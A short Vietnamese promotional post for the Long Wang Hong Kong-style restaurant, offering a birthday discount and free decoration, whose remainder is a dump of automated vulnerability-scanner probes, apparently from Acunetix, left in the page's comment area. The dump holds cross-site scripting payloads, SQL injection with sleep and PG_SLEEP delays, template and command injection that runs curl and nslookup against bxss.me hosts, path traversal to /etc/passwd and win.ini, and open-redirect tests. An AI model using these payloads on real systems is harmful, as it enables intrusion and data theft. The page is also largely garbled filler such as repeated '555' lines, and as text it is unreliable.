Administrator . 26-09-2024, 9:23 AM
Đón tuổi mới, bạn đã lựa chọn cho mình một địa điểm để tổ chức sinh nhật bên bạn bè, người thân chưa? Nếu chưa thì hãy để Long Wang giúp bạn có một trải nghiệm sinh nhật vui hết mình tại đây với không gian Hồng Kông hiện đại, vô vàn góc check in cùng ẩm thực mới lạ hơn 50 món ăn từ hải sản, thịt, dimsum, rau củ ….
Quý khách có sinh nhật trong khoảng trước hoặc sau 3 ngày sẽ được giảm 10% menu đồ ăn
Tặng gói trang trí sinh nhật siêu đẹp
Kính mời quý khách ghé Long Wang để thưởng thức hương vị ẩm thực Hồng Kông mới lạ cùng với những ưu đãi hấp dẫn giúp tiệc ngon thêm trọn vẹn!
1
555
555
555
555
555
555<ackz2xP<
555
555<aXhmiyW<
555
555<img sRc='http://attacker-9714/log.php?
555
555<arCODP6 x=9806>
555
555<ifRAme sRc=9213.com></IfRamE>
555
555<WECN1C>8CQP3[!+!]</WECN1C>
555IAspM <ScRiPt >UAvS(9246)</ScRiPt>
555
555
555}body{zzz:Expre/**/SSion(UAvS(9402))}
555
<a HrEF=jaVaScRiPT:>
555
<a HrEF=http://xss.bxss.me></a>
555
555<input autofocus onfocus=UAvS(9599)>
555
?<img zzz onmouseover=UAvS(97511) //?>
555
555<ScRiPt>UAvS(9519)</sCripT>
555
555\u003CScRiPt\UAvS(9033)\u003C/sCripT\u003E
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%55%41%76%53%289377%29%3C%2F%73%43%72%69%70%54%3E
555
555<img/src=">" onerror=alert(9194)>
555
555<img/src=">" onerror=alert(9877)>
555<img src=xyz OnErRor=UAvS(9618)>
555
555
555<img src=//xss.bxss.me/t/dot.gif onload=UAvS(9146)>
555
555<body onload=UAvS(9552)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9202'>
555
555
555<isindex type=image src=1 onerror=UAvS(9597)>
555<svg ? onload=UAvS(9657);>
555
555< ScRiPt >UAvS(9002)</ScRiPt>
555
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9185></ScRiPt>
555<ScRiPt >UAvS(9598)</ScRiPt>
555
555<ScR<ScRiPt>IpT>UAvS(9430)</sCr<ScRiPt>IpT>
555
555
555 UAvS(9706) 9706
555
555 UAvS(9670) 9670
555
555 UAvS(9096)
555
555 UAvS(9558)
555
555<WPVP6B>QQJOR[!+!]</WPVP6B>
555
555<ScRiPt >UAvS(9926)</ScRiPt>
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
555
555
dfb{{98991*97996}}xca
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
555
<th:t="${dfb}#foreach
555
555
555
<%={{={@{#{${dfb}}%>
bfgx5053??z1??z2a?bcxhjl5053
555
bfg8627＜s1﹥s2ʺs3ʹhjl8627
555
555
5559952955
555
'"()&%<zzz><ScRiPt >UAvS(9478)</ScRiPt>
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitixomdachlt67cd5.bxss.me")}}
555'"()&%<zzz><ScRiPt >UAvS(9821)</ScRiPt>
555
555<aKnbMio<
555
555<a0010Aj<
555<img sRc='http://attacker-9196/log.php?
555
555
555<aS2NLDG x=9162>
555
555<ifRAme sRc=9802.com></IfRamE>
555
555<WOSVEV>WQNXN[!+!]</WOSVEV>
555
555tNC7o <ScRiPt >uI7J(9524)</ScRiPt>
555
555}body{zzz:Expre/**/SSion(uI7J(9367))}
555
<a HrEF=jaVaScRiPT:>
555
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=uI7J(9230)>
555
555
?<img zzz onmouseover=uI7J(99791) //?>
555
555<ScRiPt>uI7J(9340)</sCripT>
555
555\u003CScRiPt\uI7J(9866)\u003C/sCripT\u003E
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%75%49%37%4A%289972%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9718)>
555
555
555<img/src=">" onerror=alert(9792)>
555
555<img src=xyz OnErRor=uI7J(9833)>
555<img src=//xss.bxss.me/t/dot.gif onload=uI7J(9905)>
555
555<body onload=uI7J(9600)>
555
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9409'>
555<isindex type=image src=1 onerror=uI7J(9786)>
555
555
555<svg ? onload=uI7J(9862);>
555
555< ScRiPt >uI7J(9244)</ScRiPt>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9946></ScRiPt>
555
555<ScRiPt >uI7J(9429)</ScRiPt>
555<ScR<ScRiPt>IpT>uI7J(9276)</sCr<ScRiPt>IpT>
555
555
555 uI7J(9388) 9388
555 uI7J(9669) 9669
555
555 uI7J(9216)
555
555
555 uI7J(9207)
555<WMVOAE>CUZOE[!+!]</WMVOAE>
555
555
555<ScRiPt >uI7J(9264)</ScRiPt>
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
dfb__${98991*97996}__::.x
555
555
dfb[[${98991*97996}]]xca
555
dfb{{98991*97996}}xca
555
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
555
<th:t="${dfb}#foreach
555
555
555
<%={{={@{#{${dfb}}%>
555
bfgx6945??z1??z2a?bcxhjl6945
555
bfg6196＜s1﹥s2ʺs3ʹhjl6196
555
5559430969
'"()&%<zzz><ScRiPt >uI7J(9424)</ScRiPt>
555
555
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitefnjvmvkuva03a2.bxss.me")}}
555
555'"()&%<zzz><ScRiPt >uI7J(9767)</ScRiPt>
1
1
555
555
555
555<akUVYTj<
555
555
555<a9E81Td<
555
555<img sRc='http://attacker-9605/log.php?
555
555<aZ6XQ0v x=9466>
555
555<ifRAme sRc=9303.com></IfRamE>
555<WQ4RHB>7BLUJ[!+!]</WQ4RHB>
555
555zPDdA <ScRiPt >Nqq2(9612)</ScRiPt>
555
555}body{zzz:Expre/**/SSion(Nqq2(9330))}
555
<a HrEF=jaVaScRiPT:>
555
555
<a HrEF=http://xss.bxss.me></a>
555
555
555<input autofocus onfocus=Nqq2(9553)>
555
?<img zzz onmouseover=Nqq2(94281) //?>
555
555<ScRiPt>Nqq2(9986)</sCripT>
555
555\u003CScRiPt\Nqq2(9604)\u003C/sCripT\u003E
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%4E%71%71%32%289072%29%3C%2F%73%43%72%69%70%54%3E
555
555<img/src=">" onerror=alert(9673)>
1
555
555<img/src=">" onerror=alert(9802)>
1
555
555<img src=xyz OnErRor=Nqq2(9085)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=Nqq2(9061)>
555
555<body onload=Nqq2(9841)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9888'>
555<isindex type=image src=1 onerror=Nqq2(9310)>
555
555<svg ? onload=Nqq2(9092);>
555
555< ScRiPt >Nqq2(9705)</ScRiPt>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9419></ScRiPt>
555
555<ScRiPt >Nqq2(9086)</ScRiPt>
555
555<ScR<ScRiPt>IpT>Nqq2(9288)</sCr<ScRiPt>IpT>
555
555 Nqq2(9378) 9378
555
555 Nqq2(9567) 9567
555
555 Nqq2(9314)
555
555 Nqq2(9120)
555
555<WZ8ERP>XXANU[!+!]</WZ8ERP>
555
555<ScRiPt >Nqq2(9068)</ScRiPt>
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
dfb__${98991*97996}__::.x
555
dfb[[${98991*97996}]]xca
555
dfb{{98991*97996}}xca
555
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
555
<th:t="${dfb}#foreach
555
555
555
<%={{={@{#{${dfb}}%>
555
bfgx6186??z1??z2a?bcxhjl6186
555
bfg10961＜s1﹥s2ʺs3ʹhjl10961
555
5559043572
555
'"()&%<zzz><ScRiPt >Nqq2(9998)</ScRiPt>
555
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitelhckwayiw9db6f.bxss.me")}}
555
555'"()&%<zzz><ScRiPt >Nqq2(9486)</ScRiPt>
(select 198766*667891 from DUAL)
555
5559827452
'"()&%<zzz><ScRiPt >BC4w(9662)</ScRiPt>
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitgtnvayauys2accc.bxss.me")}}
555'"()&%<zzz><ScRiPt >BC4w(9530)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<akTN1UK<
555<aPPx9mt<
555<img sRc='http://attacker-9201/log.php?
555<aSwUnOp x=9453>
555<ifRAme sRc=9456.com></IfRamE>
555<WWXAWD>CHWRG[!+!]</WWXAWD>
555sfVgJ <ScRiPt >1ket(9515)</ScRiPt>
555}body{zzz:Expre/**/SSion(1ket(9134))}
<a HrEF=jaVaScRiPT:>
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=1ket(9364)>
?<img zzz onmouseover=1ket(93311) //?>
555<ScRiPt>1ket(9146)</sCripT>
555\u003CScRiPt\1ket(9682)\u003C/sCripT\u003E
%35%35%35%3C%53%63%52%69%50%74%20%3E%31%6B%65%74%289749%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9165)>
555<img/src=">" onerror=alert(9028)>
555<img src=xyz OnErRor=1ket(9822)>
555<img src=//xss.bxss.me/t/dot.gif onload=1ket(9264)>
555<body onload=1ket(9709)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9439'>
555<isindex type=image src=1 onerror=1ket(9799)>
555<svg ? onload=1ket(9547);>
555< ScRiPt >1ket(9471)</ScRiPt>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9978></ScRiPt>
555<ScRiPt >1ket(9321)</ScRiPt>
555<ScR<ScRiPt>IpT>1ket(9502)</sCr<ScRiPt>IpT>
555 1ket(9574) 9574
555 1ket(9829) 9829
555 1ket(9392)
555 1ket(9171)
555<WQYTGH>6R0ZD[!+!]</WQYTGH>
555<ScRiPt >1ket(9904)</ScRiPt>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
dfb{{98991*97996}}xca
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
555
<%={{={@{#{${dfb}}%>
bfgx1637??z1??z2a?bcxhjl1637
bfg9916＜s1﹥s2ʺs3ʹhjl9916
5559030182
'"()&%<zzz><ScRiPt >1ket(9080)</ScRiPt>
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitlqoxefsphp1184c.bxss.me")}}
555
555
555'"()&%<zzz><ScRiPt >1ket(9617)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<aCMOJJF<
555
555<aBc0hjt<
555
555
555<img sRc='http://attacker-9400/log.php?
555
555<aWn5o3G x=9240>
555
555<ifRAme sRc=9607.com></IfRamE>
555<WCJ9BF>XHEVP[!+!]</WCJ9BF>
555
555hm2UG <ScRiPt >S5U3(9725)</ScRiPt>
555
555}body{zzz:Expre/**/SSion(S5U3(9356))}
555
<a HrEF=jaVaScRiPT:>
555
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=S5U3(9920)>
?<img zzz onmouseover=S5U3(91541) //?>
555<ScRiPt>S5U3(9200)</sCripT>
555\u003CScRiPt\S5U3(9360)\u003C/sCripT\u003E
%35%35%35%3C%53%63%52%69%50%74%20%3E%53%35%55%33%289412%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9715)>
555<img/src=">" onerror=alert(9218)>
555<img src=xyz OnErRor=S5U3(9324)>
555<img src=//xss.bxss.me/t/dot.gif onload=S5U3(9113)>
555<body onload=S5U3(9381)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9233'>
555<isindex type=image src=1 onerror=S5U3(9366)>
555<svg ? onload=S5U3(9067);>
555< ScRiPt >S5U3(9168)</ScRiPt>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9525></ScRiPt>
555<ScRiPt >S5U3(9293)</ScRiPt>
555<ScR<ScRiPt>IpT>S5U3(9435)</sCr<ScRiPt>IpT>
555 S5U3(9946) 9946
555 S5U3(9764) 9764
555 S5U3(9423)
555 S5U3(9244)
555<WFIPUT>LE9B7[!+!]</WFIPUT>
555<ScRiPt >S5U3(9572)</ScRiPt>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
dfb{{98991*97996}}xca
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
555
<%={{={@{#{${dfb}}%>
bfgx6811??z1??z2a?bcxhjl6811
bfg3852＜s1﹥s2ʺs3ʹhjl3852
5559410271
'"()&%<zzz><ScRiPt >S5U3(9907)</ScRiPt>
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitwljedfwktg0e101.bxss.me")}}
555'"()&%<zzz><ScRiPt >S5U3(9093)</ScRiPt>
555
5559344518
'"()&%<zzz><ScRiPt >r8cD(9263)</ScRiPt>
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitubjqwlaxen7290e.bxss.me")}}
555'"()&%<zzz><ScRiPt >r8cD(9254)</ScRiPt>
555
555
555
555
555
redirtest.acx?555
https://bxss.me/555
https://bxss.me?https://daotao.aladdin-jsc.com/
//bxss.me/?555
%2f%2fbxss.me%2f
\\bxss.me
/\/bxss.me/
/\bxss.me/
https:\\bxss.me\
http:bxss.me
555
//bxss.me/daotao.aladdin-jsc.com/
//bxss.me/
555
https://bxss.me?555
@bxss.me/
https://bxss.me?daotao.aladdin-jsc.com/
https://bxss.me#daotao.aladdin-jsc.com/
https://bxss.me\@daotao.aladdin-jsc.com/
555
https://daotao.aladdin-jsc.com:80@bxss.me/
https://daotao.aladdin-jsc.com@bxss.me/
https://daotao.aladdin-jsc.com.bxss.me/
555
<!--
https://bxss.me/
'{"
https://daotao.aladdin-jsc.com/
555
redirtest.acx
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
blog-reply-submit/.
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
blog-reply-submit
555
555
555
blog-reply-submit
555
555
555
555
555
555
555
555
555
555
'.print(md5(31337)).'
'A'.concat(70-3).concat(22*4).concat(104).concat(73).concat(108).concat(75)+(require'socket' Socket.gethostbyname('hitez'+'gbayesig00f33.bxss.me.')[3].to_s)
555
${@print(md5(31337))}\
'+'A'.concat(70-3).concat(22*4).concat(98).concat(86).concat(99).concat(81)+(require'socket' Socket.gethostbyname('hitgu'+'comxcciecd88c.bxss.me.')[3].to_s)+'
555
${@print(md5(31337))}
"+"A".concat(70-3).concat(22*4).concat(99).concat(73).concat(103).concat(72)+(require"socket" Socket.gethostbyname("hitbz"+"zjpvjxam12e87.bxss.me.")[3].to_s)+"
555
555
";print(md5(31337));$a="
555
';print(md5(31337));$a='
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
555
bxss.me/t/xss.html?%00
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
gethostbyname(lc('hityk'.'bdfnzxnn6ca6b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(65).chr(102).chr(89)
555
555
".gethostbyname(lc("hitkv"."jcsuudow973da.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(83).chr(122).chr(76)."
555"||sleep(27*1000)*tftivc||"
555
555'||sleep(27*1000)*fhpcxc||'
'.gethostbyname(lc('hitaf'.'kwgdvgnld5079.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(76).chr(101).chr(77).'
555
555"&&sleep(27*1000)*qhwowo&&"
555
555
555'&&sleep(27*1000)*sgtfzq&&'
555
555
'"()
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://bxss.me/t/fit.txt?.jpg
555
Http://bxss.me/t/fit.txt
555
555
bxss.me
555
555
555
c:/windows/win.ini
555
555
../../../../../../../../../../../../../../etc/shells
555
555
/etc/shells
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
555
555
555
555
555
555
555
555
555
^(#$!@#$)(()))******
555
555
555
!(()&&!|*|*|
555
555
555
)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555&n910101=v929962
555
555
555
555
555
(select 198766*667891 from DUAL)
555
(select 198766*667891)
@@8vkJ0
555
555????%2527%2522\'\"
555'"
555
555
${9999051+9999224}
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555FUxHF8Yq')) OR 465=(SELECT 465 FROM PG_SLEEP(15))--
555
555yRq5pjbe') OR 739=(SELECT 739 FROM PG_SLEEP(15))--
&(nslookup${IFS}-q${IFS}cname${IFS}hitjetosngzlx3357d.bxss.me||curl${IFS}hitjetosngzlx3357d.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitjetosngzlx3357d.bxss.me||curl${IFS}hitjetosngzlx3357d.bxss.me)&`'
555K5hH3to4' OR 803=(SELECT 803 FROM PG_SLEEP(15))--
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitmfjjdvergkc8571.bxss.me||curl${IFS}hitmfjjdvergkc8571.bxss.me)
555-1)) OR 196=(SELECT 196 FROM PG_SLEEP(15))--
555<esi:include src="http://bxss.me/rpb.png"/>
;(nslookup -q=cname hitoktylducmh8fe93.bxss.me||curl hitoktylducmh8fe93.bxss.me)|(nslookup -q=cname hitoktylducmh8fe93.bxss.me||curl hitoktylducmh8fe93.bxss.me)&(nslookup -q=cname hitoktylducmh8fe93.bxss.me||curl hitoktylducmh8fe93.bxss.me)
555-1) OR 889=(SELECT 889 FROM PG_SLEEP(15))--
555
`(nslookup -q=cname hitzlcpbsgytt9ddb5.bxss.me||curl hitzlcpbsgytt9ddb5.bxss.me)`
555-1 OR 325=(SELECT 325 FROM PG_SLEEP(15))--
|(nslookup -q=cname hitcnemcorjjy6e3be.bxss.me||curl hitcnemcorjjy6e3be.bxss.me)
555OpkqqrrS'; waitfor delay '0:0:15' --
555
12345'"\'\");|]* { < >?''💡
&(nslookup -q=cname hitvcbvvenxttcb181.bxss.me||curl hitvcbvvenxttcb181.bxss.me)&'\"`0&(nslookup -q=cname hitvcbvvenxttcb181.bxss.me||curl hitvcbvvenxttcb181.bxss.me)&`'
555-1 waitfor delay '0:0:15' --
&nslookup -q=cname hitkyenfefcpi9c6fb.bxss.me&'\"`0&nslookup -q=cname hitkyenfefcpi9c6fb.bxss.me&`'
555-1); waitfor delay '0:0:15' --
$(nslookup -q=cname hitaohygimnpfd65fd.bxss.me||curl hitaohygimnpfd65fd.bxss.me)
555-1; waitfor delay '0:0:15' --
(nslookup -q=cname hitojesfcrjgvae12b.bxss.me||curl hitojesfcrjgvae12b.bxss.me))
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
expr 9000268374 - 912171
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555|echo zoxrkn$()\ hwbohz\nz^xyu||a #' |echo zoxrkn$()\ hwbohz\nz^xyu||a #|" |echo zoxrkn$()\ hwbohz\nz^xyu||a #
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
|echo vuecsf$()\ uounhk\nz^xyu||a #' |echo vuecsf$()\ uounhk\nz^xyu||a #|" |echo vuecsf$()\ uounhk\nz^xyu||a #
555*if(now()=sysdate(),sleep(15),0)
555&echo cyhtdu$()\ yxpiln\nz^xyu||a #' &echo cyhtdu$()\ yxpiln\nz^xyu||a #|" &echo cyhtdu$()\ yxpiln\nz^xyu||a #
-1" OR 5*5=25 or "38I7YWEC"="
&echo csayda$()\ qhtasp\nz^xyu||a #' &echo csayda$()\ qhtasp\nz^xyu||a #|" &echo csayda$()\ qhtasp\nz^xyu||a #
-1' OR 5*5=25 or '5T1PWieV'='
echo qgledz$()\ exgvip\nz^xyu||a #' &echo qgledz$()\ exgvip\nz^xyu||a #|" &echo qgledz$()\ exgvip\nz^xyu||a #
-1" OR 5*5=25 --
555
-1' OR 5*5=25 --
555
555
-1 OR 5*5=25
555
-1 OR 5*5=25 --
555
555
555
5555qBRIE2P
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../555
555
555
555
555
file:///etc/passwd
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
79FnJOfN: IRBygTpy
555
O5EeAyAS
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
"+response.write(9268636*9496954)+"
555
'+response.write(9268636*9496954)+'
555
response.write(9268636*9496954)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1QVAO82D30
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
5559459468
'"()&%<zzz><ScRiPt >YClo(9533)</ScRiPt>
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitppqszctbfd60d6e.bxss.me")}}
555'"()&%<zzz><ScRiPt >YClo(9176)</ScRiPt>
555
redirtest.acx?555
555
https://bxss.me/555
https://bxss.me?https://daotao.aladdin-jsc.com/
//bxss.me/?555
%2f%2fbxss.me%2f
555
\\bxss.me
/\/bxss.me/
/\bxss.me/
555
https:\\bxss.me\
http:bxss.me
//bxss.me/daotao.aladdin-jsc.com/
555
//bxss.me/
https://bxss.me?555
@bxss.me/
https://bxss.me?daotao.aladdin-jsc.com/
https://bxss.me#daotao.aladdin-jsc.com/
https://bxss.me\@daotao.aladdin-jsc.com/
https://daotao.aladdin-jsc.com:80@bxss.me/
https://daotao.aladdin-jsc.com@bxss.me/
(select 198766*667891 from DUAL)
https://daotao.aladdin-jsc.com.bxss.me/
(select 198766*667891)
https://bxss.me/
@@rXLV4
https://daotao.aladdin-jsc.com/
555????%2527%2522\'\"
redirtest.acx
555
555'"
555
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555qsR4Pm5S')) OR 477=(SELECT 477 FROM PG_SLEEP(15))--
555
555Yi0dMIy4') OR 240=(SELECT 240 FROM PG_SLEEP(15))--
555
5553gSnZqHM' OR 172=(SELECT 172 FROM PG_SLEEP(15))--
555
555-1)) OR 803=(SELECT 803 FROM PG_SLEEP(15))--
555
555-1) OR 225=(SELECT 225 FROM PG_SLEEP(15))--
555
555-1 OR 37=(SELECT 37 FROM PG_SLEEP(15))--
555
555
555
555eXZ7ZMT0'; waitfor delay '0:0:15' --
555
<!--
555-1 waitfor delay '0:0:15' --
555
'{"
555-1); waitfor delay '0:0:15' --
555
555
555-1; waitfor delay '0:0:15' --
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
blog-reply-submit/.
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
blog-reply-submit
555
555
555*if(now()=sysdate(),sleep(15),0)
xfs.bxss.me
blog-reply-submit
555
-1" OR 5*5=25 or "4Z1TJUZD"="
555
555
555
555
-1' OR 5*5=25 or 'eQVdilwu'='
555
555
-1" OR 5*5=25 --
555
555
555
-1' OR 5*5=25 --
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
-1 OR 5*5=25
555
'A'.concat(70-3).concat(22*4).concat(121).concat(71).concat(106).concat(80)+(require'socket' Socket.gethostbyname('hitgf'+'tzzhziozfa626.bxss.me.')[3].to_s)
555
-1 OR 5*5=25 --
'+'A'.concat(70-3).concat(22*4).concat(114).concat(81).concat(97).concat(66)+(require'socket' Socket.gethostbyname('hitag'+'uohxrmslf0695.bxss.me.')[3].to_s)+'
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(118).concat(76).concat(104).concat(68)+(require"socket" Socket.gethostbyname("hitkt"+"xcfaimctd1f90.bxss.me.")[3].to_s)+"
5553SRckSwT
555
555
555
555
555
'.print(md5(31337)).'
555
555
555
${@print(md5(31337))}\
555
${@print(md5(31337))}
555
";print(md5(31337));$a="
555
555"||sleep(27*1000)*shmccy||"
';print(md5(31337));$a='
555
555
555'||sleep(27*1000)*bbfloq||'
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555"&&sleep(27*1000)*xnvlxc&&"
555
555
555
555'&&sleep(27*1000)*nkxhul&&'
555
555
555
'"()
555
555
555
555
555
555
bxss.me/t/xss.html?%00
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
gethostbyname(lc('hitna'.'zdqlyztqc1ca8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(67).chr(97).chr(89)
555
555
555
".gethostbyname(lc("hitlc"."gyhzfryy054dc.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(89).chr(116).chr(69)."
555
555
555
'.gethostbyname(lc('hitwb'.'tikzkcicaed1c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(73).chr(107).chr(87).'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://bxss.me/t/fit.txt?.jpg
555
555
555
Http://bxss.me/t/fit.txt
555
555
555
bxss.me
555
555
555
555
c:/windows/win.ini
555
555
../../../../../../../../../../../../../../etc/shells
555
/etc/shells
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
&(nslookup${IFS}-q${IFS}cname${IFS}hitvbtkjxxifib4a6e.bxss.me||curl${IFS}hitvbtkjxxifib4a6e.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvbtkjxxifib4a6e.bxss.me||curl${IFS}hitvbtkjxxifib4a6e.bxss.me)&`'
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
|(nslookup${IFS}-q${IFS}cname${IFS}hitzzysoicmgjd8acd.bxss.me||curl${IFS}hitzzysoicmgjd8acd.bxss.me)
555
555
;(nslookup -q=cname hitwwuztjmbdg19db2.bxss.me||curl hitwwuztjmbdg19db2.bxss.me)|(nslookup -q=cname hitwwuztjmbdg19db2.bxss.me||curl hitwwuztjmbdg19db2.bxss.me)&(nslookup -q=cname hitwwuztjmbdg19db2.bxss.me||curl hitwwuztjmbdg19db2.bxss.me)
555
555
`(nslookup -q=cname hiteduvlklejc30519.bxss.me||curl hiteduvlklejc30519.bxss.me)`
555
555
|(nslookup -q=cname hitnxcixtljgb98034.bxss.me||curl hitnxcixtljgb98034.bxss.me)
555
555
&(nslookup -q=cname hituevqoqvkga98f75.bxss.me||curl hituevqoqvkga98f75.bxss.me)&'\"`0&(nslookup -q=cname hituevqoqvkga98f75.bxss.me||curl hituevqoqvkga98f75.bxss.me)&`'
555
555
&nslookup -q=cname hitwfkiyqvlrf09551.bxss.me&'\"`0&nslookup -q=cname hitwfkiyqvlrf09551.bxss.me&`'
555
$(nslookup -q=cname hitvsruwicjod82fa2.bxss.me||curl hitvsruwicjod82fa2.bxss.me)
555
(nslookup -q=cname hitondwkdzntjbd575.bxss.me||curl hitondwkdzntjbd575.bxss.me))
555
^(#$!@#$)(()))******
555
expr 9000629478 - 925690
!(()&&!|*|*|
555|echo tfalht$()\ loklge\nz^xyu||a #' |echo tfalht$()\ loklge\nz^xyu||a #|" |echo tfalht$()\ loklge\nz^xyu||a #
)
|echo ykgyss$()\ wjsswr\nz^xyu||a #' |echo ykgyss$()\ wjsswr\nz^xyu||a #|" |echo ykgyss$()\ wjsswr\nz^xyu||a #
555
555&echo gpoiui$()\ jbqafe\nz^xyu||a #' &echo gpoiui$()\ jbqafe\nz^xyu||a #|" &echo gpoiui$()\ jbqafe\nz^xyu||a #
555
555
